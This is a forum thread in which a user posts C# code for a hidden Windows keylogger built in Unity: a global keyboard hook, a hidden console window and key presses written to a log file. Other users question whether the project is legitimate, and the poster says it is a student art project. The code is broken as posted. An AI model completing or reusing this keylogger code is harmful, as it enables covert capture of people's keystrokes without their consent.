Unity Keylogger windows, log every key pressed, even when 'Run in background'

So I’m trying to make a simple keylogger with Unity, writing to a txt file, any key that is pressed. But for some reason it does work in Visual Studio, but not inside unity. So is there maybe a function in unity to already do this?
I just need all the letter characters, that are typed by a computer user, to be stored in a string, but it’s important that you can have the application run in background.

Here’s what I have now, which doesn’t really work… :frowning:

using UnityEngine;
using System.Collections;
using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

public class keylogger : MonoBehaviour {

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
// Use this for initialization
void Start () {
var handle = GetConsoleWindow();

// Hide
ShowWindow(handle, SW_HIDE);

_hookID = SetHook(_proc);

UnhookWindowsHookEx(_hookID);

}

// Update is called once per frame
void Update () {
UnityEngine.Debug.Log((Keys)vkCode);
}

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);

StreamWriter sw = new StreamWriter(UnityEngine.Application.dataPath.LastIndexOf (“/”) + “/log.txt”, true);
sw.Write((Keys)vkCode);
// _show += new EventHandler(MessageWord);
sw.Close();

}

return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

[DllImport(“user32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport(“user32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport(“user32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);

[DllImport(“kernel32.dll”, CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport(“kernel32.dll”)]
static extern IntPtr GetConsoleWindow();

[DllImport(“user32.dll”)]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

const int SW_HIDE = 0;
}

This looks like you trying to create illegal Malware with unity…
I hope you never get it working.

1 Like

Unity is definitely not made for making such tools…
It’s made to give developers opportunity to make great games or Application.
If you make such tools DO NOT MAKE IT WITH UNITY.

So who gets to decide what he can use Unity for?

1 Like

Okay my post was a bit offense but I don’t like the idea making a keyloger in game or background.

Anyone can make a keylogger in Unity for whatever purpose but it’s unlikely it’ll work with webplayer due to Unity having protection against that. Being all outraged and protective is daft considering you can do the same job in any language.

1 Like

Ok let me explain, because I know it is illegal to keylog.

I am a student Game Development, and for a course we need to make an art exposal in which we use userinput to bring some awareness at some subject.

Our idea, was to have a keylogger, that will only log a few characters and then deletes itself, and will check for curse words, used on the internet. Then it sends these words to a database, which will give an overview of when and where people use these cursing words, just to make a statement.

It will never be spread on the internet to actual users, as I am aware that keylogging without someone’s consent is illegal and totally not what I want

and I tried it in Visual Studio, but as I only have a week for the assignment, I was like, damn, ill try it in Unity…it’s just for a proof of concept…

You don’t need a key logger for that, but to merely record keyboard input, which is trivial as adding letters to a string. Also, use code tags.